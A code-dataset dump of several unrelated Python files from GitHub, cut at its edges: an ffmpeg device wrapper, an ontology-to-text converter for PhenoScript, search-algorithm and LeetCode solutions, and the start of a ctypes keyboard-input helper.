):\n os.makedirs( __MEDIA_NETWORK_STREAMS_LOCATION__ + self.options[\"filelocation\"] + \"/\" )\n print (\">>> Created Stream location: \" + str(__MEDIA_NETWORK_STREAMS_LOCATION__ + self.options[\"filelocation\"] + \"/\") )\n\n self.queue = Queue()\n self.process = None\n \n def filename(self):\n return __MEDIA_NETWORK_STREAMS_LOCATION__ + self.options[\"filelocation\"] + \"/\"\n \n \n def amStopped(self):\n return self.myProcessStopped\n \n def stopStream(self):\n try:\n self.terminateMyself = True\n \n except Exception as e:\n print (self.__class__.__name__ + \".stopStream():\")\n print (\"Could not stop stream... %s\" % self.streamID)\n print (e)\n \n \n def _queue_output(self, out, queue):\n '''\n while ( self.terminateMyself is False ):\n pass # this is to allow an ffmpeg command to be run externally which encoded result will become uploaded to the server.\n time.sleep(0.5)\n print \"***** ATTENTION FFMPEG HAS TO BE STARTED EXTERNALLY FROM RADENIUM OR COMMENT THIS CODE!\"\n '''\n\n \"\"\"Read the output from the command bytewise. On every newline\n the line is put to the queue.\"\"\"\n line = ''\n try:\n while (self.process.poll() is None ) and ( self.terminateMyself is False ):\n chunk = out.read(1).decode('utf-8')\n if chunk == '':\n continue\n line += chunk\n if chunk in ('\\n', '\\r'):\n queue.put(line)\n if \"ThreadLock\" in line:\n print (\"Audio Issue, threadlocks again...\")\n print (line)\n \n elif \"error\" in line:\n print (\"FFMPEG ERROR!!!:\")\n print (line)\n if \"hw:\" in line:\n print (\"Try fiddling the -ac parameter and pick the right channel 1 or 2 or an other one. Make sure -ac is placed before the -i parameter. \")\n \n line = ''\n\n out.close()\n\n except Exception as e:\n print (self.__class__.__name__ + \": Process was terminated...\")\n print (e)\n \n try:\n self.process.terminate()\n self.process = None\n self.terminateMyself =True\n\n except Exception as e:\n print (\"ffmpeg was not started, because process did not exist\" + str( e ))\n print (\"Last ffmpeg line: \" + str( line ))\n\n self.myProcessStopped = True\n \n def run(self, daemon=True):\n \"\"\"\n Executes the command. A thread will be started to collect\n the outputs (stderr and stdout) from that command.\n The outputs will be written to the queue.\n \"\"\"\n \n try:\n self.process = Popen(self.command, bufsize=5,\n stdin=PIPE, stdout=PIPE, stderr=STDOUT)\n thread = Thread(target=self._queue_output,\n args=(self.process.stdout, self.queue))\n thread.deamon = daemon\n thread.start()\n \n except Exception as e:\n print (\"Could not launch stream: \" + str( e ))\n\n return self\n \n\n def readlines(self, keepends=False):\n \"\"\"\n Yield lines from the queue that were collected from the\n command. You can specify if you want to keep newlines at the ends.\n Default is to drop them.\n \n :param keepends: keep the newlines at the end. Default=False\n \"\"\"\n while self.process.poll() is None:\n try:\n line = self.queue.get(timeout=0.1)\n if keepends:\n yield line\n else:\n yield line.rstrip('\\r\\n')\n \n except Empty:\n pass\n \n \n def __getattr__(self, name):\n if self.process:\n return getattr(self.process, name)\n \n raise AttributeError\n \n \n def __iter__(self):\n return self.readlines()\n\n\n\n\nclass ffmpeg_info:\n \"\"\"! Class to obtain video & audio devices independent of system. \"\"\"\n \n def __init__(self):\n self.log( \"Starting...\" )\n \n def log( self, text, level=\"info\" ):\n log_text = str( datetime.datetime.now() )\n log_text += \" \"\n log_text += str( self.__class__.__name__ )\n log_text += \" \"\n log_text += text\n if level == \"warning\":\n logging.warning( log_text )\n \n elif level == \"error\":\n logging.error( log_text )\n\n else:\n logging.info( log_text )\n\n def getSystem(self):\n \"\"\"! Return the system name of the operating platform. \"\"\"\n thisSystem = platform.system()\n self.log(\"System: \" + str( thisSystem ) )\n return thisSystem\n \n def getSystemDevices(self):\n \"\"\"! getSystemDevices() returns a dictionary containing all system devices, for example: {\"audio\": [[\"0\", \"Built-in Microphone\"], [\"1\", \"Aggregate Device\"]], \"video\": [[\"0\", \"FaceTime HD Camera\"], [\"1\", \"Capture screen 0\"]]} \"\"\"\n videodevices = []\n audiodevices = []\n if platform.system() == __LINUX__:\n #! For this to work on Linux requires to install video for Linux utilities.\n #! installation of video for Linux utilities: sudo apt install v4l-utils\n #! list camera devices: #list camera devices: v4l2-ctl --list-devices\n #! list usb video capabilities: v4l2-ctl --list-formats-ext\n #! or use: ffmpeg -f v4l2 -list_formats all -i /dev/video0\n \n #! Get a list of all video devices:\n command = [\"v4l2-ctl\", \"-list-devices\"]\n p = subprocess.Popen( command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out = p.communicate()\n \n #! Parsing the terminal output:\n if not \"Failed\" in out[1]:\n devString = \"Video input set to \"\n for line in out[0].split('\\n'):\n #print line\n if devString in line:\n _dev = ( line.split(devString)[1] ).split(\" \")[0]\n #print \"Device = \" + str(_dev)\n videodevices.append([\"/dev/video\"+str(_dev), \"Linux Camera Device \" + str(_dev) ])\n \n else:\n self.log(\"Video utils not installed, use: sudo apt install v4l-utils\", level=\"error\" )\n \n #! Screen grabber is not listed, therefore append it now.\n videodevices.append([\"x11grab\", \"Linux Capture screen\"])\n \n #! Get a list of all audio devices:\n command = ['arecord', '-l']\n p = subprocess.Popen( command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out = p.communicate()\n \n #! Parsing the terminal output:\n for line in out[0].split('\\n'):\n print (line)\n if 'card' in line:\n #! for example: card 2: U0x46d0x825 [USB Device 0x46d:0x825], device 0: USB Audio [USB Audio]\n #! Then get me the 2 indicating which card + a comma like ',' and the device number on the specific card. A card can have multiple devices.\n _alsa = \"hw:\" + ((line.split(',')[0]).split(':')[0]).split(' ')[1] + \",\" + ((line.split(',')[1]).split(':')[0]).split('device ')[1]\n audiodevices.append( [ _alsa, \"Linux \"+ str( ((line.split(',')[1]).split(':')[1])[1:]) ] )\n\n\n elif platform.system() == __MAC_OS__:\n #! Command: ffmpeg -f avfoundation -list_devices true -i \"\"\n ffmpegCommand = [\"ffmpeg\", \"-f\", \"avfoundation\", \"-list_devices\", \"true\", \"-i\", \"\"]\n p = subprocess.Popen( ffmpegCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out = p.communicate()\n\n startVideoList = False\n startAudioList = False\n \n #print(str(out[1]).split(\"\\n\"))\n #! It looks like in python 3 \\n gets escaped or its because of subprocess...\n for line in str(out[1]).split('\\\\n'):\n if \"AVFoundation input device\" in line:\n if \"AVFoundation video devices:\" in line:\n startVideoList = True\n startAudioList = False\n elif \"AVFoundation audio devices:\" in line:\n startVideoList = False\n startAudioList = True\n \n if startVideoList:\n if not \"AVFoundation video devices:\" in line:\n videodevices.append( (line.split('] [')[1]).split('] ') )\n elif startAudioList:\n if not \"AVFoundation audio devices:\" in line:\n audiodevices.append( (line.split('] [')[1]).split('] ') )\n else:\n startVideoList = False\n startAudioList = False\n\n elif platform.system() == __WINDOWS__:\n #! \\todo implement the windows version.\n self.log( \"Oops, our bad... Detection of devices on Windows not yet implemented... \", level=\"error\" )\n pass\n\n else:\n pass\n\n sysDevs = {\"video\":videodevices, \"audio\":audiodevices}\n self.log( \"Devices: \" + str( sysDevs ) )\n return sysDevs\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(filename='mod_ffmpegwrapper.log',level=logging.DEBUG)\n info = ffmpeg_info()\n print (info.getSystem())\n print (info.getSystemDevices())\n \n","repo_name":"RYpie/radenium","sub_path":"client/python/addons/mod_ffmpegwrapper/mod_ffmpegwrapper.py","file_name":"mod_ffmpegwrapper.py","file_ext":"py","file_size_in_byte":14246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21151806561","text":"from owlready2 import *\nimport markdown\n\n# ontoPath=\"/Users/taravser/Documents/My_papers/PhenoScript_main/PhenoScript/output/\"\n# ontoFile=\"my_instance.owl\"\n\n# ontoPath=\"/Users/taravser/Documents/My_papers/PhenoScript_main/Semantic_Descriptions/Gryonoides/output/\"\n# ontoFile=\"my_gryo.owl\"\n\nontoPath='/Users/taravser/Documents/My_papers/pheno-repo/Phenoscript/phs_output/'\nontoFile='bees.owl'\n#--\ndef render_using_label(entity):\n return entity.label.first() or entity.name\n\nset_render_func(render_using_label)\n# set_render_func(render_using_iri)\n# set_render_func()\nset_log_level(9)\n#-----------------------\n\n# additional (default) Args\nphs='{https://github.com/sergeitarasov/PhenoScript}'\nns = {'phs': 'https://github.com/sergeitarasov/PhenoScript'}\n\n\nprint('Reading data...\\n')\n\n#--- Read in Ontology\nonto_path.append(ontoPath)\nonto = get_ontology(ontoFile)\nonto.load(reload_if_newer=True, reload=True)\nobo = onto.get_namespace(\"http://purl.obolibrary.org/obo/\")\ninf=onto.get_namespace(\"https://github.com/sergeitarasov/PhenoScript/inference/\")\npato= onto.get_namespace(\"http://purl.obolibrary.org/obo/pato#\")\n\n\n\n\n# does not work\n#Obo = onto.get_namespace(\"http://purl.obolibrary.org/OBO/\")\n#Obo.BFO_0000051\n#-------------------------------\n\n\n# add absence\nfor ind in onto.individuals():\n print(ind)\n if (len(ind.PhenoScript_implies_absence_of)>0):\n #print(ind, \"---\", ind.PhenoScript_implies_absence_of)\n abs_class=ind.PhenoScript_implies_absence_of[0]\n txt=\" [%s](%s): absent\" % (abs_class.label.first(), abs_class.iri)\n print(txt)\n ind.PhenoScript_NL.append(txt)\n\n# SPARQL\n#----------------\n\n\n# female_organism:G_brasiliensis > abdominal_tergum_5:T5_brasiliensis > medial_region:medr5_brasiliensis >> length .is_quality_measured_as measurement_datum:medr5m_brasiliensis .has_measurement_unit_label length << abdominal_tergum_5:T5_brasiliensis;\n# female_organism:G_brasiliensis > measurement_datum:medr5m_brasiliensis .has_measurement_value 0.75;\n\nobo.RO_0000053.iri\nobo.RO_0000053.label\n\n# obo.PATO_0000122 # length\n# obo.RO_0000053 # has_characterristi\n# obo.IAO_0000417 # is qual measured as\n# obo.IAO_0000004 # has measurement value\n# obo.IAO_0000039 # has measurement unit label\n# obo.RO_0000052 # characteristic of\nquery=list(default_world.sparql(\"\"\"\n SELECT ?E0 ?Q ?Val ?x ?Unit ?Unit_loc\n WHERE {?E0 obo:RO_0000053 ?Q .\n ?Q obo:IAO_0000417 ?x .\n ?x obo:IAO_0000004 ?Val .\n ?x obo:IAO_0000039 ?Unit .\n optional {\n ?Unit obo:RO_0000052 ?Unit_loc .\n }\n }\n\"\"\"))\n\n\n\nquery\n\nfor item in query:\n print(item[0])\n\n\n#dict_templ={\"E0\":None, \"Q\":None, \"Val\":None, \"x\":None, \"Unit\":None, \"Unit_loc\":None}\nsparql=[]\nfor item in query:\n print(item)\n dict_templ = {\"E0\": None, \"Q\": None, \"Val\": None, \"x\": None, \"Unit\": None, \"Unit_loc\": None}\n dict_templ['E0']= item[0]\n dict_templ['Q'] = item[1]\n dict_templ['Val'] = item[2]\n dict_templ['x'] = item[3]\n dict_templ['Unit'] = item[4]\n if len(item)==6:\n dict_templ['Unit_loc'] = item[5]\n sparql.append(dict_templ)\n\nsparql\n\n\nfor item in sparql:\n print(item['E0'])\n\n# --- Create annotations\n\ndef getLabelPhsAnnotation(ind):\n if ind is not None:\n return \"[%s](%s)\" % (ind.PhenoScript_original_class[0].label.first(), ind.PhenoScript_original_class[0].iri)\n\ndef render_Unit_loc(ind):\n if ind is not None:\n # return \" of \" + ind.PhenoScript_original_class[0].label.first() + \";\"\n return \" of [%s](%s);\" % (ind.PhenoScript_original_class[0].label.first(), ind.PhenoScript_original_class[0].iri)\n else:\n return \";\"\n\nfor item in sparql:\n # Q of E0 = Val, measured in Unit of Unit_loc.\n # Q(L)=Val, unit: Unit(Unit_loc)\n #print(item)\n #txt=\"%s of %s = %s, unit: %s%s\" % \\\n txt = \" %s = %s, unit: %s%s\" % \\\n (getLabelPhsAnnotation(item['Q']),\n #getLabelPhsAnnotation(item['E0']),\n item['Val'],\n getLabelPhsAnnotation(item['Unit']),\n render_Unit_loc(item['Unit_loc']))\n print(txt)\n # inf.PhenoScript_NL\n item['E0'].PhenoScript_NL.append(txt)\n print(\"NL:\", item['E0'].PhenoScript_NL)\n\n\n\n## DELETE\nsparql\n\ndef destroy_entitieS(list):\n for entity in list:\n destroy_entity(entity)\n\n\nfor item in sparql:\n destroy_entitieS([item['Q'], item['Unit']])\n if item['x'] is not None:\n print(item['x'])\n destroy_entity(item['x'])\n\n\n# --- Present queries:\n# obo.BFO_0000051 has part\n\n#FILTER NOT EXISTS { ?y owl:ObjectProperty ?z }\n\nquery=list(default_world.sparql(\"\"\"\n SELECT ?x ?y\n WHERE {\n ?x a owl:NamedIndividual .\n ?y a owl:NamedIndividual .\n ?x obo:BFO_0000051 ?y .\n }\n\"\"\"))\n\n# RO_0002201 # phenotype of\n# every node that should be marks with 'prsent' does not have any single node that is PhenoScript_original_assertion or inf.PhenoScript_NL\n# so if node has those assertions it is not our customer. we look for those that have no\npresesnt_tag=set()\nfor trip in query:\n n1=trip[0]\n n2=trip[1]\n has_out_edge=False\n for prop in n2.get_properties():\n if not issubclass(prop, obo.RO_0002201):\n for n3 in prop[n2]:\n asrt = inf.PhenoScript_original_assertion[n2, prop, n3]\n if len(asrt)>0 or issubclass(prop, inf.PhenoScript_NL):\n #if issubclass(prop, owl.ObjectProperty) or issubclass(prop, owl.DatatypeProperty):\n #print(n2, prop, \"is\", asrt)\n has_out_edge = True\n if has_out_edge == False:\n print(n2, prop, \"is\", asrt)\n presesnt_tag.add(n2)\n\n\n\nfor ind in presesnt_tag:\n txt = \": present\"\n print(ind, txt)\n ind.PhenoScript_NL.append(txt)\n\n#---------------------\n\nspp=obo.CDAO_0000138.instances()\nfocal_sp=spp[0]\nfocal_org = focal_sp.IAO_0000219[0]\n\nparts_org=focal_org.BFO_0000051\n\n# taxon name\nfor i in focal_sp.IAO_0000219:\n print(i, i.is_a)\n if (len(i.is_a[0].has_rank) > 0):\n sp_name = '# ' + i.is_a[0].label.first() + '\\n\\n'\n\n\n# DD is the final description\nDD = ''\nvisited_triples=list()\nfor ind in parts_org:\n xx = traverseOntoMark_Overleaf(ind, visited_nodes=set())\n if not xx == ';':\n DD = DD + (str(renderNL(ind))+xx) + '\\n'\n print(str(renderNL(ind))+xx)\n\nprint(DD)\ntype(DD)\nlen(DD)\nxx = DD.replace(\"\\t [\", \"\\t- [\")\nxx = xx.replace(\"\\n [\", \"\\n- [\")\nxx = '-'+xx\nxx = sp_name + xx\nprint(xx)\n\n\n\n# --- Save\n#DD_file = '/Users/taravser/Documents/My_papers/PhenoScript_main/Semantic_Descriptions/Gryonoides/NL/out.txt'\nDD_file = '/Users/taravser/Documents/My_papers/pheno-repo/Phenoscript/NL/bees.md'\nfile1 = open(DD_file, \"w+\")\nfile1.writelines(xx)\nfile1.close()\n\n\n# to markdown\nmarkdown.markdownFromFile(input=DD_file, output='/Users/taravser/Documents/My_papers/pheno-repo/Phenoscript/NL/bees.html')\n\n\n\ndef traverseOntoMark_Overleaf(ind0, tabs=\"\\t\", visited_nodes=set()):\n global visited_triples\n #print(visited_triples)\n txt=\"\"\n visited_nodes.add(ind0)\n triples=[]\n for prop in ind0.get_properties():\n if not issubclass(prop, owl.AnnotationProperty):\n #print(prop)\n for value in prop[ind0]:\n asrt=inf.PhenoScript_original_assertion[ind0, prop, value]\n triple = [ind0, prop, value]\n if len(asrt) > 0 and (triple not in visited_triples): # should be also True for asrt\n #triple = [ind0, prop, value]\n #print(asrt)\n triples.append(triple)\n visited_triples.append(triple)\n #elif issubclass(prop, inf.PhenoScript_NL) or issubclass(prop, inf.PhenoScript_implies_absence_of):\n elif issubclass(prop, inf.PhenoScript_NL):\n for value in prop[ind0]:\n triple = [ind0, prop, value]\n if (triple not in visited_triples):\n #triple = [ind0, prop, value]\n triples.append(triple)\n visited_triples.append(triple)\n if len(triples)==1:\n prop=triples[0][1]\n value=triples[0][2]\n #txt = txt + (\" <%s> %s\" % (prop, value))\n txt = txt + (\"%s%s\" % (renderNL(prop), renderNL(value)))\n if issubclass(prop, owl.ObjectProperty) and (value not in visited_nodes):\n #print(traverseOnto(value))\n #visited_nodes.add(value)\n txt = txt + traverseOntoMark_Overleaf(value, tabs=tabs, visited_nodes=visited_nodes)\n return txt\n if len(triples) > 1:\n for trip in triples:\n # trip= triples[0]\n prop = trip[1]\n value = trip[2]\n #txt = txt +\"\\n\" + tabs + (\"%s <%s> %s\" % (ind0, prop, value))\n txt = txt + \"\\n\" + tabs + (\"%s%s%s\" % (renderNL(ind0), renderNL(prop), renderNL(value)))\n if issubclass(prop, owl.ObjectProperty) and (value not in visited_nodes):\n txt = txt + traverseOntoMark_Overleaf(value, tabs=tabs+\"\\t\", visited_nodes=visited_nodes)\n return txt\n if len(triples) == 0:\n return \";\"\n\n\ndef renderNL(x):\n # if x is individual\n if isinstance(x, owl.Thing):\n return \" [%s](%s)\" % (x.PhenoScript_original_class[0], x.PhenoScript_original_class[0].iri)\n elif issubclass(x, owl.ObjectProperty) or issubclass(x, owl.DatatypeProperty):\n dict={obo.BFO_0000051 :',', obo.BFO_0000050 : ' of', obo.RO_0000053 : ':', obo.RO_0000052 : ' of', pato.increased_in_magnitude_relative_to : ' larger than', pato.decreased_in_magnitude_relative_to : ' smaller than'}\n if x in dict:\n return dict[x]\n else:\n return \" [%s](%s)\" % (x.label.first(), x.iri)\n elif issubclass(x, owl.AnnotationProperty):\n return \"\"\n elif isinstance(x, (int, float)):\n return \" %s\" % str(x)\n elif isinstance(x, str):\n return x","repo_name":"sergeitarasov/PhenoScript","sub_path":"archive/convert_to_NL_Overleaf.py","file_name":"convert_to_NL_Overleaf.py","file_ext":"py","file_size_in_byte":9868,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"25757928611","text":"def iterative_deepening_search(graph, start, goal):\n depth = 0\n time = 0\n explore_nodes_list = []\n\n while True:\n r_time, r_explored_nodes, r_path = depth_limited_tree_search(graph, start, goal, depth)\n\n if r_time is None:\n return None, None, None # failure\n\n explore_nodes_list.append(r_explored_nodes)\n time += r_time\n depth += 1\n\n if r_path is not None:\n return time, explore_nodes_list, r_path # solution\n\n\n\"\"\"\nDepth limited tree search (DLTS for short)\nInput: the maze's info as a graph, start state, goal state, limit depth\nReturn: - success: the time to escape the maze, the list of explored nodes, the list of nodes on the path found\n - cutoff: the time to try to escape the maze within the limit depth, the list of explored nodes, None\n - failure: None, None, None\n\"\"\"\ndef depth_limited_tree_search(graph, start, goal, depth):\n if start == goal:\n return 1, [start], [start]\n\n explored = []\n current_path = []\n on_current_path = dict()\n for state in graph:\n on_current_path[state] = False\n\n return recursive_depth_limited_tree_search(graph, start, goal, depth, explored, current_path, on_current_path)\n\n\n\"\"\"\nRecursive depth limited tree search (RDLTS for short): Help the DLTS algorithm to explore nodes recursively.\nInput: the maze's info as a graph, start state, goal state, limit depth,\n the list of explored nodes, the list of nodes on the current path,\n the dictionary for checking if a node is on the currentpath\nReturn: - success: the time to escape the maze, the list of explored nodes, the list of nodes on the path found\n - cutoff: the time to try to escape the maze within the limit depth, the list of explored nodes, None\n - failure: None, None, None\n\"\"\"\ndef recursive_depth_limited_tree_search(graph, state, goal, depth, explored, current_path, on_current_path):\n explored.append(state)\n current_path.append(state)\n on_current_path[state] = True\n\n if state == goal:\n return len(explored), explored, current_path # solution\n elif depth == 0:\n return len(explored), explored, None # cutoff\n\n cutoff_occured = False\n\n child_state_list = sorted(graph[state])\n for child_state in child_state_list:\n if not on_current_path[child_state]:\n time, explored_nodes, path = recursive_depth_limited_tree_search(graph, child_state, goal, depth - 1,\n explored, current_path, on_current_path)\n\n if time is None or path is None:\n on_current_path[current_path.pop()] = False\n\n if time is not None and path is None:\n cutoff_occured = True\n elif path is not None:\n return time, explored_nodes, path # not failure\n\n if cutoff_occured:\n return len(explored), explored, None # cutoff\n\n return None, None, None # failure\n","repo_name":"kieuconghau/search-strategies","sub_path":"18127259/SOURCE/IDS.py","file_name":"IDS.py","file_ext":"py","file_size_in_byte":3084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73888297012","text":"\"\"\"\nGiven a non-empty binary tree, find the maximum path sum.\n\nFor this problem, a path is defined as any sequence of nodes from some starting node to any node in the tree along the parent-child connections. The path must contain at least one node and does not need to go through the root.\n\n\"\"\"\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def maxPathSum(self, root: TreeNode) -> int:\n self.ans = float(\"-inf\")\n def traverse(node): \n if not node:\n return 0\n l = traverse(node.left)\n r = traverse(node.right)\n # find the max of path sum (l+r+node) need the max of left subtree and max of right subtree\n self.ans = max(self.ans, l+r+node.val) \n # return max sum for the parent node (left/right subtree)\n return max(l+node.val, r+node.val, 0) \n traverse(root)\n return self.ans\n \n def maxPathSum(self, root: Optional[TreeNode]) -> int:\n res = float(\"-inf\")\n \n def helper(node):\n nonlocal res\n # if not root, return 0\n if not node:\n return 0\n # get the max path sum from left subtree\n l = max(0, helper(node.left))\n # get the max path sum from right subtree\n r = max(0, helper(node.right))\n # for the current node, compare the max sum with left+right+node.val\n res = max(res, l+r+node.val)\n \n # return max(left, right) + node.val to the parent and do not return neg value\n return max(l, r) + node.val\n \n helper(root)\n return res\n \nif __name__ == '__main__':\n s = Solution()\n print(s.maxPathSum([-10,9,20,null,null,15,7]))\n \n \n \n ","repo_name":"xiaofanc/leetcode","sub_path":"0124-binary-tree-maximum-path-sum.py","file_name":"0124-binary-tree-maximum-path-sum.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14520154935","text":"#production Toretto Company\r\nimport keyboard\r\nimport pygame\r\nimport sys\r\nimport time\r\nimport ctypes\r\n\r\nSendInput = ctypes.windll.user32.SendInput\r\n\r\nPUL = ctypes.POINTER(ctypes.c_ulong)\r\n\r\nclass KeyBdInput(ctypes.Structure):\r\n _fields_ = [\r\n (\"wVk\", ctypes.c_ushort),\r\n (\"wScan\", ctypes.c_ushort),\r\n (\"dwFlags\", ctypes.c_ulong),\r\n (\"time\", ctypes.c_ulong),\r\n (\"dwExtraInfo\", PUL)\r\n ]\r\n\r\nclass HardwareInput(ctypes.Structure):\r\n _fields_ = [\r\n (\"uMsg\", ctypes.c_ulong),\r\n (\"wParamL\", ctypes.c_short),\r\n (\"wParamH\", ctypes.c_ushort)\r\n ]\r\n\r\nclass MouseInput(ctypes.Structure):\r\n _fields_ = [\r\n (\"dx\", ctypes.c_long),\r\n (\"dy\", ctypes.c_long),\r\n (\"mouseData\", ctypes.c_ulong),\r\n (\"dwFlags\", ctypes.c_ulong),\r\n (\"time\",ctypes.c_ulong),\r\n (\"dwExtraInfo\", PUL)\r\n ]\r\n\r\nclass Input_I(ctypes.Union):\r\n _fields_ = [\r\n (\"ki\", KeyBdInput),\r\n (\"mi\", MouseInput),\r\n (\"hi\", HardwareInput)\r\n ]\r\n\r\nclass Input(ctypes.Structure):\r\n _fields_ = [\r\n (\"type\", ctypes.c_ulong),\r\n (\"ii\", Input_I)\r\n ]\r\n\r\nclass Keyboard:\r\n VK_BACKSPACE = 0x08\r\n VK_ENTER = 0x0D\r\n VK_CTRL = 0x11\r\n VK_ALT = 0x12\r\n VK_0 = 0x30\r\n VK_1 = 0x31\r\n VK_2 = 0x32\r\n VK_3 = 0x33\r\n VK_4 = 0x34\r\n VK_5 = 0x35\r\n VK_6 = 0x36\r\n VK_7 = 0x37\r\n VK_8 = 0x38\r\n VK_9 = 0x39\r\n VK_A = 0x41\r\n VK_B = 0x42\r\n VK_C = 0x43\r\n VK_D = 0x44\r\n VK_E = 0x45\r\n VK_F = 0x46\r\n VK_G = 0x47\r\n VK_H = 0x48\r\n VK_I = 0x49\r\n VK_J = 0x4A\r\n VK_K = 0x4B\r\n VK_L = 0x4C\r\n VK_M = 0x4D\r\n VK_N = 0x4E\r\n VK_O = 0x4F\r\n VK_P = 0x50\r\n VK_Q = 0x51\r\n VK_R = 0x52\r\n VK_S = 0x53\r\n VK_T = 0x54\r\n VK_U = 0x55\r\n VK_V = 0x56\r\n VK_W = 0x57\r\n VK_X = 0x58\r\n VK_Y = 0x59\r\n VK_Z = 0x5A\r\n VK_VOLUME_MUTE = 0xAD\r\n VK_VOLUME_DOWN = 0xAE\r\n VK_VOLUME_UP = 0xAF\r\n VK_MEDIA_NEXT_TRACK = 0xB0\r\n VK_MEDIA_PREV_TRACK = 0xB1\r\n VK_MEDIA_PLAY_PAUSE = 0xB3\r\n VK_MEDIA_STOP = 0xB2\r\n VK_LBUTTON = 0x01\r\n VK_RBUTTON = 0x02\r\n VK_CANCEL = 0x03\r\n VK_MBUTTON = 0x04\r\n VK_XBUTTON1 = 0x05\r\n VK_XBUTTON2 = 0x06\r\n VK_BACK = 0x08\r\n VK_TAB = 0x09\r\n VK_CLEAR = 0x0C\r\n VK_RETURN = 0x0D\r\n VK_SHIFT = 0x10\r\n VK_CONTROL = 0x11\r\n VK_MENU = 0x12\r\n VK_PAUSE = 0x13\r\n VK_CAPITAL = 0x14\r\n VK_KANA = 0x15\r\n VK_HANGUEL = 0x15\r\n VK_HANGUL = 0x15\r\n VK_JUNJA = 0x17\r\n VK_FINAL = 0x18\r\n VK_HANJA = 0x19\r\n VK_KANJI = 0x19\r\n VK_ESCAPE = 0x1B\r\n VK_CONVERT = 0x1C\r\n VK_NONCONVERT = 0x1D\r\n VK_ACCEPT = 0x1E\r\n VK_MODECHANGE = 0x1F\r\n VK_SPACE = 0x20\r\n VK_PRIOR = 0x21\r\n VK_NEXT = 0x22\r\n VK_END = 0x23\r\n VK_HOME = 0x24\r\n VK_LEFT = 0x25\r\n VK_UP = 0x26\r\n VK_RIGHT = 0x27\r\n VK_DOWN = 0x28\r\n VK_SELECT = 0x29\r\n VK_PRINT = 0x2A\r\n VK_EXECUTE = 0x2B\r\n VK_SNAPSHOT = 0x2C\r\n VK_INSERT = 0x2D\r\n VK_DELETE = 0x2E\r\n VK_HELP = 0x2F\r\n VK_LWIN = 0x5B\r\n VK_RWIN = 0x5C\r\n VK_APPS = 0x5D\r\n VK_SLEEP = 0x5F\r\n VK_NUMPAD0 = 0x60\r\n VK_NUMPAD1 = 0x61\r\n VK_NUMPAD2 = 0x62\r\n VK_NUMPAD3 = 0x63\r\n VK_NUMPAD4 = 0x64\r\n VK_NUMPAD5 = 0x65\r\n VK_NUMPAD6 = 0x66\r\n VK_NUMPAD7 = 0x67\r\n VK_NUMPAD8 = 0x68\r\n VK_NUMPAD9 = 0x69\r\n VK_MULTIPLY = 0x6A\r\n VK_ADD = 0x6B\r\n VK_SEPARATOR = 0x6C\r\n VK_SUBTRACT = 0x6D\r\n VK_DECIMAL = 0x6E\r\n VK_DIVIDE = 0x6F\r\n VK_F1 = 0x70\r\n VK_F2 = 0x71\r\n VK_F3 = 0x72\r\n VK_F4 = 0x73\r\n VK_F5 = 0x74\r\n VK_F6 = 0x75\r\n VK_F7 = 0x76\r\n VK_F8 = 0x77\r\n VK_F9 = 0x78\r\n VK_F10 = 0x79\r\n VK_F11 = 0x7A\r\n VK_F12 = 0x7B\r\n VK_F13 = 0x7C\r\n VK_F14 = 0x7D\r\n VK_F15 = 0x7E\r\n VK_F16 = 0x7F\r\n VK_F17 = 0x80\r\n VK_F18 = 0x81\r\n VK_F19 = 0x82\r\n VK_F20 = 0x83\r\n VK_F21 = 0x84\r\n VK_F22 = 0x85\r\n VK_F23 = 0x86\r\n VK_F24 = 0x87\r\n VK_NUMLOCK = 0x90\r\n VK_SCROLL = 0x91\r\n VK_LSHIFT = 0xA0\r\n VK_RSHIFT = 0xA1\r\n VK_LCONTROL = 0xA2\r\n VK_RCONTROL = 0xA3\r\n VK_LMENU = 0xA4\r\n VK_RMENU = 0xA5\r\n VK_BROWSER_BACK = 0xA6\r\n VK_BROWSER_FORWARD = 0xA7\r\n VK_BROWSER_REFRESH = 0xA8\r\n VK_BROWSER_STOP = 0xA9\r\n VK_BROWSER_SEARCH = 0xAA\r\n VK_BROWSER_FAVORITES = 0xAB\r\n VK_BROWSER_HOME = 0xAC\r\n VK_LAUNCH_MAIL = 0xB4\r\n VK_LAUNCH_MEDIA_SELECT = 0xB5\r\n VK_LAUNCH_APP1 = 0xB6\r\n VK_LAUNCH_APP2 = 0xB7\r\n VK_OEM_1 = 0xBA\r\n VK_OEM_PLUS = 0xBB\r\n VK_OEM_COMMA = 0xBC\r\n VK_OEM_MINUS = 0xBD\r\n VK_OEM_PERIOD = 0xBE\r\n VK_OEM_2 = 0xBF\r\n VK_OEM_3 = 0xC0\r\n VK_OEM_4 = 0xDB\r\n VK_OEM_5 = 0xDC\r\n VK_OEM_6 = 0xDD\r\n VK_OEM_7 = 0xDE\r\n VK_OEM_8 = 0xDF\r\n VK_OEM_102 = 0xE2\r\n VK_PROCESSKEY = 0xE5\r\n VK_PACKET = 0xE7\r\n VK_ATTN = 0xF6\r\n VK_CRSEL = 0xF7\r\n VK_EXSEL = 0xF8\r\n VK_EREOF = 0xF9\r\n VK_PLAY = 0xFA\r\n VK_ZOOM = 0xFB\r\n VK_NONAME = 0xFC\r\n VK_PA1 = 0xFD\r\n VK_OEM_CLEAR = 0xFE\r\n\r\n def keyDown(keyCode):\r\n extra = ctypes.c_ulong(0)\r\n ii_ = Input_I()\r\n ii_.ki = KeyBdInput(keyCode, 0x48, 0, 0, ctypes.pointer(extra) )\r\n x = Input( ctypes.c_ulong(1), ii_ )\r\n SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))\r\n\r\n def keyUp(keyCode):\r\n extra = ctypes.c_ulong(0)\r\n ii_ = Input_I()\r\n ii_.ki = KeyBdInput(keyCode, 0x48, 0x0002, 0, ctypes.pointer(extra) )\r\n x = Input( ctypes.c_ulong(1), ii_ )\r\n SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))\r\n\r\n def key(keyCode, length = 